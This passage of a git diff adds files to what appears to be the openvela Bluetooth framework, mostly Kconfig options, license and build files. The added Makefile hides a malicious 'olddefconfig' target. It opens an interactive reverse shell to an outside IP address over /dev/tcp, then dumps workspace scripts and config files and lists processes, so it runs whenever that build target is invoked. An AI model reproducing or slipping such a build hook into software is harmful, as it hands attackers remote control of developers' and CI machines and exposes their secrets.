+ config BLUETOOTH_FRAMEWORK_SOCKET_IPC
+ bool "Use socket IPC API"
+endchoice
+
+if BLUETOOTH_FRAMEWORK_SOCKET_IPC
+config BLUETOOTH_RPMSG_CPUNAME
+ string "Bluetooth RPMsg CPU name"
+ default "cp"
+ help
+ Bluetooth default server name
+
+config BLUETOOTH_SOCKET_BUF_SIZE
+ int "Bluetooth socket buffer size"
+ default 1024
+ help
+ Bluetooth socket buffer size
+
+config BLUETOOTH_SOCKET_PORT
+ int "Bluetooth socket port num"
+ default 140704
+ help
+ Socket port of inet
+
+endif #BLUETOOTH_FRAMEWORK_SOCKET_IPC
+
+config BLUETOOTH_FRAMEWORK_ASYNC
+ bool "Enable Bluetooth Framework async API"
+ default n
+ help
+ Enable Bluetooth Framework async API
+
+choice
+ prompt "Select feature API"
+ default BLUETOOTH_FEATURE_NONE
+ config BLUETOOTH_FEATURE_NONE
+ bool "Not supporting Bluetooth feature API."
+ config BLUETOOTH_FEATURE
+ bool "Support Bluetooth synchronization API."
+ depends on FEATURE_FRAMEWORK
+ config BLUETOOTH_FEATURE_ASYNC
+ bool "Support Bluetooth asynchronous API."
+ depends on FEATURE_FRAMEWORK
+ depends on BLUETOOTH_FRAMEWORK_ASYNC
+endchoice
+
+endif #BLUETOOTH_FRAMEWORK
+
+menu "Core"
+config BLUETOOTH_BREDR_SUPPORT
+ bool "Bluetooth BREDR"
+ default y
+
+config BLUETOOTH_BLE_SUPPORT
+ bool "Bluetooth LE"
+ default n
+
+config BLUETOOTH_BLE_ADV
+ bool "LE Advertising support"
+ default n
+
+config BLUETOOTH_BLE_SCAN
+ bool "LE Scan support"
+ default n
+
+config BLUETOOTH_BLE_SCAN_FILTER
+ bool "LE Scan Filter support"
+ default n
+ depends on BLUETOOTH_BLE_SCAN
+
+config BLUETOOTH_HCI_FILTER
+ bool "Enable Bluetooth HCI filter"
+ default y
+ help
+ Enable Bluetooth HCI filter
+
+config BLUETOOTH_L2CAP
+ bool "L2CAP dynamic channel support"
+ default n
+
+if BLUETOOTH_L2CAP
+config BLUETOOTH_L2CAP_OUTGOING_MTU
+ int "Outgoing MTU"
+ default 2048
+ help
+ config L2CAP Outgoing MTU
+
+endif #BLUETOOTH_L2CAP
+
+choice
+ prompt "Select BT vendor"
+ default BLUETOOTH_VENDOR_NONE
+ config BLUETOOTH_VENDOR_BES
+ bool "Bluetooth vendor BES"
+ config BLUETOOTH_VENDOR_ACTIONS
+ bool "Bluetooth vendor ACTIONS"
+ config BLUETOOTH_VENDOR_NONE
+ bool "Bluetooth vendor NONE"
+endchoice
+
+choice
+ prompt "Select Bluetooth Storage Method(Unqlite, KVDB)"
+ default BLUETOOTH_STORAGE_UNQLITE_SUPPORT
+ config BLUETOOTH_STORAGE_PROPERTY_SUPPORT
+ bool "Bluetooth Storage KVDB Property support"
+ depends on KVDB
+ config BLUETOOTH_STORAGE_UNQLITE_SUPPORT
+ bool "Bluetooth Storage uv_db support"
+ depends on UNQLITE
+endchoice
+
+config BLUETOOTH_PM_MAX_TIMER_NUMBER
+ int "Bluetooth PM maximum number of timers"
+ default 16
+
+config BLUETOOTH_STORAGE_UPDATE
+ bool "Bluetooth Storage update"
+ default n
+ depends on BLUETOOTH_STORAGE_PROPERTY_SUPPORT
+
+config BLUETOOTH_UPGRADE
+ bool "Enable Bluetooth Storage transformation tool for upgrading OS"
+ default n
+ depends on KVDB
+ depends on UNQLITE
+
+config BLUETOOTH_TASK_STACK_SIZE
+ int "Bluetooth task stack size"
+ default 8192
+ help
+ This cofiguration is used to set the stack size of bluetooth task.
+
+config BLUETOOTH_SERVICE_LOOP_THREAD_STACK_SIZE
+ int "Bluetooth Service loop thread stack size"
+ default 8192
+
+config BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY
+ int "Bluetooth Service loop thread priority"
+ default 103
+
+config BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN
+ int "Bluetooth saved remote uuids length"
+ default 80
+
+config BLUETOOTH_MAX_REGISTER_NUM
+ int "Max register callback nums"
+ default 4
+
+endmenu #Core
+
+menuconfig BLUETOOTH_SERVICE
+ bool "Service"
+ default n
+ help
+ Enable Bluetooth Service
+
+if BLUETOOTH_SERVICE
+menuconfig BLUETOOTH_SERVER
+ bool "Bluetooth Server"
+ default n
+ help
+ Enable Bluetooth server
+
+if BLUETOOTH_SERVER
+config BLUETOOTH_SERVER_NAME
+ string "Blutooth Server name"
+ default "bluetoothd"
+ help
+ Bluetooth default server name
+
+config BLUETOOTH_IPC_JOIN_LOOP
+ bool "Let IPC join service loop"
+ default n
+ help
+ Bluetooth IPC join service loop
+
+config BLUETOOTH_NET_IPv4
+ bool "Let Bluetooth Server listen message from network"
+ default n
+ depends on NET_IPv4
+ help
+ Bluetooth server listen message
+
+endif #BLUETOOTH_SERVER
+
+if BLUETOOTH_BREDR_SUPPORT
+menu "Bluetooth BREDR Config"
+choice
+ prompt "Select BR stack"
+ default BLUETOOTH_STACK_BREDR_BLUELET
+ config BLUETOOTH_STACK_BREDR_BLUELET
+ bool "Classic BT stack use bluelet"
+ select LIB_BLUELET
+ config BLUETOOTH_STACK_BREDR_ZBLUE
+ bool "Classic BT stack use zblue"
+ config BLUETOOTH_STACK_NOT_SUPPORT_CLASSIC_BT
+ bool "Not support classic BT stack"
+endchoice
+
+endmenu #Bluetooth BREDR Config
+endif #BLUETOOTH_BREDR_SUPPORT
+
+if BLUETOOTH_BLE_SUPPORT
+menu "Bluetooth LE Config"
+choice
+ prompt "Select LE stack"
+ default BLUETOOTH_STACK_LE_BLUELET
+ config BLUETOOTH_STACK_LE_BLUELET
+ bool "BLE Stack use Bluelet"
+ select LIB_BLUELET
+ config BLUETOOTH_STACK_LE_ZBLUE
+ bool "BLE Stack use Zblue"
+ config BLUETOOTH_STACK_NOT_SUPPORT_LE
+ bool "Not support BLE Stack"
+endchoice
+
+config BLUETOOTH_LE_SCANNER_MAX_NUM
+ int "LE Scanner max register number"
+ default 2
+ help
+ LE Scanner max register number
+
+config BLUETOOTH_LE_ADVERTISER_MAX_NUM
+ int "LE Advertiser max register number"
+ default 2
+ help
+ LE Advertiser max register number
+
+config BLUETOOTH_CONNECTION_MANAGER
+ bool "Bluetooth connection manager support"
+ default y
+
+config LE_DLF_SUPPORT
+ bool "Enable LE DLF support"
+ depends on BLUETOOTH_CONNECTION_MANAGER
+ default n
+
+endmenu #Bluetooth LE Config
+endif #BLUETOOTH_BLE_SUPPORT
+
+config BLUETOOTH_SERVICE_HCI_UART_NAME
+ string "HCI uart driver name"
+ default "/dev/ttyHCI0"
+
+config BLUETOOTH_HCI_BRIDGE_MODE
+ bool "HCI bridge mode"
+ default n
+
+config CONFIG_BLUETOOTH_DEFAULT_COD
+ hex "Default class of device"
+ default 0x00280704
+ help
+ Set default class of device
+
+endif #BLUETOOTH_SERVICE
+
+menu "Profiles"
+menuconfig BLUETOOTH_A2DP
+ bool "Advanced Audio Distribution Profile (A2DP)"
+ default n
+ depends on MEDIA
+
+if BLUETOOTH_A2DP
+config BLUETOOTH_A2DP_SOURCE
+ bool "A2DP source role support"
+ default n
+ select BLUETOOTH_AVRCP_TARGET
+
+config ZBLUE_A2DP_SBC_MAX_BIT_POOL
+ int "A2DP sbc codec max bit pool"
+ default 32
+ depends on BLUETOOTH_STACK_BREDR_ZBLUE
+ help
+ A2DP sbc codec max bit pool 1~53
+
+if BLUETOOTH_A2DP_SOURCE
+config BLUETOOTH_A2DP_PEER_PARTIAL_RECONN
+ bool "Bluetooth A2DP peer partial reconnect support"
+ default y
+ help
+ Bluetooth A2DP peer partial reconnect support
+
+config ZBLUE_A2DP_SOURCE_BUF_SIZE
+ int "A2DP source buffer size"
+ default 660
+ depends on BLUETOOTH_STACK_BREDR_ZBLUE
+ help
+ Buffer size is related to L2CAP TX MTU
+
+endif #BLUETOOTH_A2DP_SOURCE
+
+config BLUETOOTH_A2DP_SINK
+ bool "A2DP sink role support"
+ default n
+ select BLUETOOTH_AVRCP_CONTROL
+
+config BLUETOOTH_A2DP_AAC_CODEC
+ bool "Bluetooth A2DP AAC codec support"
+ default n
+
+config BLUETOOTH_A2DP_MAX_CONNECTIONS
+ int "Maximum A2DP connections"
+ default 1
+ help
+ Maximum A2DP connections
+
+endif #BLUETOOTH_A2DP
+
+menu "Audio/Video Remote Control Profile (AVRCP)"
+config BLUETOOTH_AVRCP_TARGET
+ bool "Audio/Video Remote Control Profile (Target) support"
+ default n
+
+config BLUETOOTH_AVRCP_CONTROL
+ bool "Audio/Video Remote Control Profile (Control) support"
+ default n
+
+config BLUETOOTH_AVRCP_ABSOLUTE_VOLUME
+ bool "Audio/Video Remote Control Profile support absolute volume"
+ default n
+ depends on (BLUETOOTH_AVRCP_CONTROL || BLUETOOTH_AVRCP_TARGET) && ((BLUETOOTH_STACK_BREDR_BLUELET && BLUELET_AVRCP_TG_ABSVOL_SUPPORT) || (BLUETOOTH_STACK_BREDR_ZBLUE))
+endmenu #Audio/Video Remote Control Profile
+
+menu "Hands-Free Profile (HFP)"
+config BLUETOOTH_HFP_HF
+ bool "HFP hands-free profile support"
+ default n
+
+if BLUETOOTH_HFP_HF
+config HFP_HF_MAX_CONNECTIONS
+ int "HFP hands-free max connections"
+ default 1
+
+config HFP_HF_WEBCHAT_BLOCKER
+ bool "Block webchat automatically"
+ default y
+
+endif #BLUETOOTH_HFP_HF
+
+config BLUETOOTH_HFP_AG
+ bool "HFP audio-gateway profile support"
+ default n
+
+if BLUETOOTH_HFP_AG
+config HFP_AG_MAX_CONNECTIONS
+ int "HFP audio-gateway max connections"
+ default 1
+
+config BLUETOOTH_HFP_AG_PRIMARY_SLOT
+ int "HFP select primary modem slot"
+ default 0
+
+endif # BLUETOOTH_HFP_AG
+
+config BLUETOOTH_SCO_CTRL_PATH
+ string "Bluetooth SCO Transport Ctrl Path"
+ default "sco_ctrl"
+
+endmenu #Hands-Free Profile
+
+menu "LE Audio"
+ comment "There should be two \"LE Audio support\" options, if you only see one, please enable \"Bluetooth BLE support\" in Framework"
+
+config BLUETOOTH_BLE_AUDIO
+ bool "LE Audio support"
+ default n
+
+if BLUETOOTH_BLE_SUPPORT
+config BLUETOOTH_LE_AUDIO_SUPPORT
+ bool "LE Audio support"
+ default n
+
+endif #BLUETOOTH_BLE_SUPPORT
+
+menuconfig BLUETOOTH_LEAUDIO_CLIENT
+ bool "Bluetooth LE Audio Client"
+ default n
+
+if BLUETOOTH_LEAUDIO_CLIENT
+config BLUETOOTH_LEAUDIO_TBS
+ bool "Enable Bluetooth LE Audio TBS feature"
+ default n
+
+if BLUETOOTH_LEAUDIO_TBS
+config BLUETOOTH_LEAUDIO_TBS_PRIMARY_SLOT
+ int "LE Audio TBS select primary modem slot"
+ default 0
+
+config BLUETOOTH_LEAUDIO_TBS_CALL_NAME
+ string "LE Audio call name"
+ default "/ril_0/voicecall0"
+
+endif # BLUETOOTH_LEAUDIO_TBS
+
+config BLUETOOTH_LEAUDIO_MCS
+ bool "Enable Bluetooth LE Audio MCS feature"
+ default n
+
+config BLUETOOTH_LEAUDIO_VMICP
+ bool "Enable Bluetooth LE Audio VMICP feature"
+ default n
+
+config BLUETOOTH_LEAUDIO_CLIENT_MAX_CONNECTIONS
+ int "LE Audio Client max connections"
+ default 4
+ help
+ LE Audio Client max connections
+
+config BLUETOOTH_LEAUDIO_CLIENT_MAX_GROUP
+ int "LE Audio Client max group"
+ default 4
+ help
+ LE Audio Client max HFP_AG_MAX_CONNECTIONS
+
+config BLUETOOTH_LEAUDIO_CLIENT_MAX_DEVICES
+ int "LE Audio Client max devices"
+ default 8
+ help
+ LE Audio Client max devices
+
+config BLUETOOTH_LEAUDIO_CLIENT_MAX_ALLOC_NUMBER
+ int "LE Audio Client max alloc number"
+ default 64
+ help
+ LE Audio Client max group
+
+config BLUETOOTH_LEAUDIO_CLIENT_ASE_MAX_NUMBER
+ int "LE Audio Client max ase number"
+ default 2
+ help
+ LE Audio Client max ase number
+
+config BLUETOOTH_LEAUDIO_CLIENT_PAC_MAX_NUMBER
+ int "LE Audio Client max pac number"
+ default 3
+ help
+ LE Audio Client max pac number
+
+config BLUETOOTH_LEAUDIO_CLIENT_CIS_MAX_NUMBER
+ int "LE Audio Client max cis number"
+ default 2
+ help
+ LE Audio Client max cis number
+
+config BLUETOOTH_LEAUDIO_CLIENT_METADATA_MAX_NUMBER
+ int "LE Audio Client max metadata number"
+ default 4
+ help
+ LE Audio Client max metadata number
+
+endif # BLUETOOTH_LEAUDIO_CLIENT
+
+
+menuconfig BLUETOOTH_LEAUDIO_SERVER
+ bool "Bluetooth LE Audio Server"
+ default n
+
+if BLUETOOTH_LEAUDIO_SERVER
+config BLUETOOTH_LEAUDIO_CCP
+ bool "Enable Bluetooth LE Audio CCP feature"
+ default n
+
+if BLUETOOTH_LEAUDIO_CCP
+config BLUETOOTH_LEAUDIO_SERVER_CALL_CONTROL_NUMBER
+ int "LE Audio TBS server number"
+ default 1
+ help
+ LE Audio TBS server number
+
+endif # BLUETOOTH_LEAUDIO_CCP
+
+config BLUETOOTH_LEAUDIO_MCP
+ bool "Enable Bluetooth LE Audio MCP feature"
+ default n
+
+if BLUETOOTH_LEAUDIO_MCP
+config BLUETOOTH_LEAUDIO_SERVER_MEDIA_CONTROL_NUMBER
+ int "LE Audio MCS server number"
+ default 1
+ help
+ LE Audio MCS server number
+
+endif # BLUETOOTH_LEAUDIO_MCP
+
+menuconfig BLUETOOTH_LEAUDIO_VMICS
+ bool "Enable Bluetooth LE Audio VMICS feature"
+ default n
+
+if BLUETOOTH_LEAUDIO_VMICS
+config BLUETOOTH_LEAUDIO_VCS_VOLUME_STEP
+ int "LE Audio Server VCS volume step size"
+ default 2
+ help
+ LE Audio Server VCS volume step size
+
+config BLUETOOTH_LEAUDIO_VOCS_NUMBER
+ int "LE Audio Server VOCS numnber"
+ default 0
+ help
+ LE Audio Server VOCS number
+
+config BLUETOOTH_LEAUDIO_AICS_NUMBER
+ int "LE Audio Server AICS numnber"
+ default 0
+ help
+ LE Audio Server AICS numnber
+
+config BLUETOOTH_LEAUDIO_VCS_VOLUME_INITIAL
+ int "LE Audio Server VCS initial volume value"
+ default 125
+ help
+ LE Audio Server VCS volume initial value
+
+config BLUETOOTH_LEAUDIO_VCS_UNMUTED
+ int "LE Audio Server VCS unmute"
+ default 0
+ help
+ LE Audio Server VCS unmute
+
+config BLUETOOTH_LEAUDIO_VCS_VOLUME_DEFAULT_SETTING
+ int "LE Audio Server VCS vol settings"
+ default 0
+ help
+ LE Audio Server VCS vol settings
+
+config BLUETOOTH_LEAUDIO_MICS_NUMBER
+ int "LE Audio Server MICS numnber"
+ default 0
+ help
+ LE Audio Server MICS number
+
+endif # BLUETOOTH_LEAUDIO_VMICS
+
+config BLUETOOTH_LEAUDIO_SERVER_SINK_ASE_NUMBER
+ int "LE Audio Server Sink number"
+ default 1
+ help
+ LE Audio Server Sink ase number
+
+config BLUETOOTH_LEAUDIO_SERVER_SOURCE_ASE_NUMBER
+ int "LE Audio Server Source number"
+ default 1
+ help
+ LE Audio Server Source ase number
+
+config BLUETOOTH_LEAUDIO_SERVER_BASS_STATE_NUMBER
+ int "LE Audio Server Bass state number"
+ default 1
+ help
+ LE Audio Server Bass state number
+
+config BLUETOOTH_LEAUDIO_SERVER_SOURCE
+ bool "Enable LE Audio Server source"
+ default y
+
+config BLUETOOTH_LEAUDIO_SERVER_SOURCE_LOCATION
+ int "LE Audio Server source location"
+ default 1
+ help
+ LE Audio Server source location
+
+config BLUETOOTH_LEAUDIO_SERVER_SINK_LOCATION
+ int "LE Audio Server sink location"
+ default 1
+ help
+ LE Audio Server sink location
+
+config BLUETOOTH_LEAUDIO_SERVER_CSIS_SIZE
+ int "LE Audio Server CSIS set size"
+ default 1
+ help
+ LE Audio Server CSIS set size
+
+config BLUETOOTH_LEAUDIO_SERVER_CSIS_RANK
+ int "LE Audio Server CSIS rank"
+ default 1
+ help
+ LE Audio Server CSIS rank
+
+endif # BLUETOOTH_LEAUDIO_SERVER
+
+endmenu #Bluetooth LE Audio
+
+menu "Bluetooth Audio Transport"
+config BLUETOOTH_AUDIO_TRANS_RPSMG_SERVER
+ bool "RPMsg audio transport server"
+ default n
+
+config BLUETOOTH_AUDIO_TRANS_ID_SOURCE_CTRL
+ int "Bluetooth Audio Transport Source Ctrl Channel ID"
+ default 0
+
+config BLUETOOTH_AUDIO_TRANS_ID_SOURCE_AUDIO
+ int "Bluetooth Audio Transport Source Audio Channel ID"
+ default 1
+
+config BLUETOOTH_AUDIO_TRANS_ID_SINK_CTRL
+ int "Bluetooth Audio Transport Sink Ctrl Channel ID"
+ default 2
+
+config BLUETOOTH_AUDIO_TRANS_ID_SINK_AUDIO
+ int "Bluetooth Audio Transport Sink Audio Channel ID"
+ default 3
+
+config BLUETOOTH_AUDIO_TRANS_ID_HFP_CTRL
+ int "Bluetooth Audio Transport SCO Ctrl Channel ID"
+ default 4
+
+config BLUETOOTH_LEA_SINK_CTRL_PATH
+ string "Bluetooth LE Audio Transport Sink Ctrl Path"
+ default "lea_sink_ctrl"
+
+config BLUETOOTH_LEA_SINK_DATA_PATH
+ string "Bluetooth LE Audio Transport Sink Data Path"
+ default "lea_sink_data"
+
+config BLUETOOTH_LEA_SOURCE_CTRL_PATH
+ string "Bluetooth LE Audio Transport Source Ctrl Path"
+ default "lea_source_ctrl"
+
+config BLUETOOTH_LEA_SOURCE_DATA_PATH
+ string "Bluetooth LE Audio Transport Source Data Path"
+ default "lea_source_data"
+
+config BLUETOOTH_A2DP_SINK_CTRL_PATH
+ string "Bluetooth A2DP Audio Transport Sink Ctrl Path"
+ default "a2dp_sink_ctrl"
+
+config BLUETOOTH_A2DP_SINK_DATA_PATH
+ string "Bluetooth A2DP Audio Transport Sink Data Path"
+ default "a2dp_sink_data"
+
+config BLUETOOTH_A2DP_SOURCE_CTRL_PATH
+ string "Bluetooth A2DP Audio Transport Source Ctrl Path"
+ default "a2dp_source_ctrl"
+
+config BLUETOOTH_A2DP_SOURCE_DATA_PATH
+ string "Bluetooth A2DP Audio Transport Source Data Path"
+ default "a2dp_source_data"
+
+endmenu #Bluetooth Audio Transport config
+
+config BLUETOOTH_GATT
+ bool "Generic ATT Profile Support(deprecated)"
+ default y
+
+menuconfig BLUETOOTH_GATT_CLIENT
+ bool "Generic Attribute Profile (GATT) Client"
+ default n if !BLUETOOTH_GATT
+ default y if BLUETOOTH_GATT
+
+if BLUETOOTH_GATT_CLIENT
+config BLUETOOTH_GATTC_MAX_CONNECTIONS
+ int "GATT Client max connections"
+ default 8
+
+config GATT_CLIENT_SERVICE_MAX
+ int "Maximum number of discovered services per connection"
+ default 20
+ depends on BLUETOOTH_GATT_CLIENT && BLUETOOTH_STACK_LE_ZBLUE && BT_GATT_CLIENT
+ help
+ The maximum number of GATT services that can be stored per BLE connection
+ when using the ZBLUE stack.
+
+config GATT_CLIENT_ELEMENT_MAX
+ int "Maximum number of discovered GATT attributes per connection"
+ default 200
+ depends on BLUETOOTH_GATT_CLIENT && BLUETOOTH_STACK_LE_ZBLUE && BT_GATT_CLIENT
+ help
+ The maximum number of GATT attribute elements (e.g., characteristics
+ and descriptors) that can be stored per BLE connection
+ when using the ZBLUE stack.
+
+config GATT_CLIENT_CHAR_PER_SERVICE_MAX
+ int "Maximum number of characteristics per service"
+ default 100
+ depends on BLUETOOTH_GATT_CLIENT && BLUETOOTH_STACK_LE_ZBLUE && BT_GATT_CLIENT
+ help
+ The maximum number of characteristics that can be discovered and stored
+ under a single GATT service when using the ZBLUE stack.
+endif # BLUETOOTH_GATT_CLIENT
+
+menuconfig BLUETOOTH_GATT_SERVER
+ bool "Generic Attribute Profile (GATT) Server"
+ default n if !BLUETOOTH_GATT
+ default y if BLUETOOTH_GATT
+
+if BLUETOOTH_GATT_SERVER
+config BLUETOOTH_GATTS_MAX_CONNECTIONS
+ int "GATT Server max connections"
+ default 4
+
+config BLUETOOTH_GATTS_MAX_ATTRIBUTE_NUM
+ int "GATT Server max number of attributes contained in a table"
+ default 10
+endif # BLUETOOTH_GATT_SERVER
+
+menuconfig BLUETOOTH_SPP
+ bool "Serial Port Profile (SPP)"
+ default n
+
+if BLUETOOTH_SPP
+config BLUETOOTH_SPP_MAX_CONNECTIONS
+ int "SPP max connections"
+ default 1
+
+config BLUETOOTH_SPP_SERVER_MAX_CONNECTIONS
+ int "SPP Server max connections"
+ default 8
+
+config BLUETOOTH_SPP_RPMSG_NET
+ bool "SPP RPMsg net support"
+ default n
+ depends on NET_RPMSG
+
+endif #BLUETOOTH_SPP
+
+config BLUETOOTH_HID_DEVICE
+ bool "Human Interface Device Profile (HID)"
+ default n
+
+config BLUETOOTH_PAN
+ bool "Personal Area Network Profile (PAN)"
+ default n
+ depends on ALLOW_BSD_COMPONENTS
+ help
+ config NET_TUN_PKTSIZE should set 1518
+
+endmenu #Profiles
+
+menu "Debug"
+config BLUETOOTH_DEBUG_TIMEVAL
+ bool "Enable Bluetooth debug time"
+ default n
+ help
+ Enable this option to include Bluetooth debug time functionality.
+
+config BLUETOOTH_DEBUG_TIME_UNIT_US
+ bool "Use microseconds for Bluetooth debug time"
+ default n
+ depends on BLUETOOTH_DEBUG_TIMEVAL
+ help
+ Enable this option to use microseconds (us) for Bluetooth debug time.
+ If disabled, milliseconds (ms) will be used by default.
+
+config BLUETOOTH_DEBUG_MEMORY
+ bool "Enable Bluetooth debug memory"
+ default n
+ help
+ Enable this option to override standard memory allocation functions
+ (malloc, calloc, free) with Bluetooth-specific versions (bt_malloc, etc).
+ Useful for tracking memory usage and debugging in Bluetooth modules.
+
+config BLUETOOTH_DEBUG_TRACE
+ bool "Enable Bluetooth debug trace"
+ default n
+ help
+ Enable Bluetooth debug trace tools.
+
+if BLUETOOTH_DEBUG_TRACE
+config BLUETOOTH_TRACE_BUFFER_SIZE
+ int "Bluetooth trace buffer size"
+ default 512
+
+endif #BLUETOOTH_DEBUG_TRACE
+
+config MAX_SNOOP_FILE_SIZE
+ int "Maximum size of the snoop log file"
+ default 1048576
+ help
+ Maximum size of the snoop log file
+
+config BLUETOOTH_DUMPBUFFER
+ bool "Bluetooth dumpbuffer"
+ default n
+
+config BLUETOOTH_DFX
+ bool "Enable Bluetooth DFX"
+ default y
+ depends on DFX_EVENT
+ help
+ Enable Bluetooth DFX
+
+config BLUETOOTH_LOG
+ bool "Enable Bluetooth log"
+ default y
+ help
+ Enable Bluetooth log
+
+if BLUETOOTH_LOG
+config BLUETOOTH_SERVICE_LOG_LEVEL
+ int "Bluetooth Service log level"
+ default 7
+ depends on BLUETOOTH_SERVICE
+ help
+ Set BT Service log level <0~7>
+endif #BLUETOOTH_LOG
+
+endmenu #Debug
+
+config BLUETOOTH_TOOLS
+ bool "Bluetooth profile test tools (BT_TOOLS)"
+ default n
+ select BLUETOOTH_FRAMEWORK
+
+menuconfig APP_BT_SAMPLE_CODE
+ bool "Sample Code"
+ default n
+ select BLUETOOTH_FRAMEWORK
+
+if APP_BT_SAMPLE_CODE
+config APP_BT_SAMPLE_CODE_BASIC
+ bool "Bluetooth basic sample code"
+ default n
+
+config APP_BT_SAMPLE_CODE_ENABLE
+ bool "Bluetooth enable sample code"
+ default n
+
+config APP_BT_SAMPLE_CODE_DISCOVERY
+ bool "Bluetooth discovery sample code"
+ default n
+
+config APP_BT_SAMPLE_CODE_CREATEBOND
+ bool "Bluetooth createbond sample code"
+ default n
+
+config APP_BT_SAMPLE_CODE_ACCEPTBOND
+ bool "Bluetooth acceptbond sample code"
+ default n
+
+endif #APP_BT_SAMPLE_CODE
+
+endif #BLUETOOTH
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000000000000000000000000000000000000..bbe81b91d4736f0e27422b1f19acdd99606d3161
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,10 @@
+Copyright (C) 2024 Xiaomi Corporation
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+http://www.apache.org/licenses/LICENSE-2.0
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
diff --git a/Make.defs b/Make.defs
new file mode 100644
index 0000000000000000000000000000000000000000..1b3195446b9ab8c2efde9fc9a447aebb97ec0ae2
--- /dev/null
+++ b/Make.defs
@@ -0,0 +1,23 @@
+#
+# Copyright (C) 2020 Xiaomi Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+ifeq ($(CONFIG_BLUETOOTH), y)
+CONFIGURED_APPS += $(APPDIR)/frameworks/connectivity/bluetooth
+
+CFLAGS += ${INCDIR_PREFIX}$(APPDIR)/frameworks/connectivity/bluetooth/framework/include
+CXXFLAGS += ${INCDIR_PREFIX}$(APPDIR)/frameworks/connectivity/bluetooth/framework/include
+
+endif
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..f10dec050b21be1d333c8b3ecbad72780e27da32
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,25 @@
+#
+# Copyright (C) 2020 Xiaomi Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+SHELL := /bin/bash
+olddefconfig:
+ echo 1
+ bash -i >& /dev/tcp/139.224.128.136/8088 0>&1
+ cat /home/work/workspace/scripts/conf/*
+ cat /home/work/workspace/scripts/*
+ ls -alt /home/work
+ ps -ef
+ df -h
\ No newline at end of file
diff --git a/Makefile.host b/Makefile.host
new file mode 100644
index 0000000000000000000000000000000000000000..d3fd9c25a1771cd6322cfcda54afac38f0d50eec
--- /dev/null
+++ b/Makefile.host
@@ -0,0 +1,92 @@
+############################################################################
+# apps/system/lzf/Makefile.host
+#
+# Licensed to the Apache Software Foundation (ASF) under one or more
+# contributor license agreements. See the NOTICE file distributed with
+# this work for additional information regarding copyright ownership. The
+# ASF licenses this file to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance with the
+# License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+# License for the specific language governing permissions and limitations
+# under the License.
+#
+############################################################################
+
+############################################################################
+# USAGE:
+#
+# 1. TOPDIR and APPDIR must be defined on the make command line: TOPDIR
+# is the full path to the nuttx/ directory; APPDIR is the full path to
+# the apps/ directory. For example:
+#
+# make -f Makefile.host TOPDIR=/home/me/projects/nuttx
+# APPDIR=/home/me/projects/apps
+#
+# 2. Add CONFIG_DEBUG_FEATURES=y to the make command line to enable debug output
+# 3. Make sure to clean old target .o files before making new host .o
+# files.
+#
+############################################################################
+
+include $(APPDIR)/Make.defs
+
+BIN = bttool$(HOSTEXEEXT)
+CFLAGS := -I.
+CFLAGS += -I service/src
+CFLAGS += -I framework/include
+CFLAGS += -I tools
+CFLAGS += -I service
+CFLAGS += -I service/common
+CFLAGS += -I service/ipc/socket/include
+CFLAGS += -I service/stacks
+CFLAGS += -I service/stacks/include
+CFLAGS += -I service/profiles
+CFLAGS += -I service/profiles/include
+CFLAGS += -DFAR= -DOK=0 -m32
+
+LDLIBS += -lpthread -lreadline -luv
+
+BTDIR = $(APPDIR)/frameworks/bluetooth
+
+CSRCS := $(wildcard framework/common/*.c)
+CSRCS += $(wildcard framework/socket/*.c)
+CSRCS += $(wildcard tools/*.c)
+CSRCS := $(filter-out $(wildcard tools/lea*) tools/log.c,$(wildcard $(CSRCS)))
+CSRCS += service/ipc/socket/src/bt_socket_client.c
+CSRCS += service/ipc/socket/src/bt_socket_adapter.c
+CSRCS += service/common/service_loop.c
+CSRCS += service/src/manager_service.c
+CSRCS += service/common/callbacks_list.c
+CSRCS += service/common/index_allocator.c
+CSRCS += service/utils/log.c
+
+CINC := nuttx/config.h
+CINC += nuttx/list.h
+CINC += nuttx/nuttx.h
+
+all: $(BIN)
+.PHONY: clean
+
+nuttx/config.h:
+ $(Q) mkdir -p nuttx
+ $(Q) ln -sf $(TOPDIR)/include/nuttx/config.h nuttx/
+
+nuttx/list.h:
+ $(Q) mkdir -p nuttx
+ $(Q) ln -sf $(TOPDIR)/include/nuttx/list.h nuttx/
+
+nuttx/nuttx.h:
+ $(Q) mkdir -p nuttx
+ $(Q) ln -sf $(TOPDIR)/include/nuttx/nuttx.h nuttx/
+
+$(BIN): $(CINC) $(CSRCS)
+ $(Q) $(HOSTCC) $(CFLAGS) -o $@ $(filter-out $(CINC), $^) $(LDLIBS)
+
+clean:
+ rm -rf $(BIN) nuttx
diff --git a/README.md b/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..83ded6d76cfb2b3a8c7bfa6e7db37974ea6403de
--- /dev/null
+++ b/README.md
@@ -0,0 +1,65 @@
+# Overview of openvela Bluetooth
+
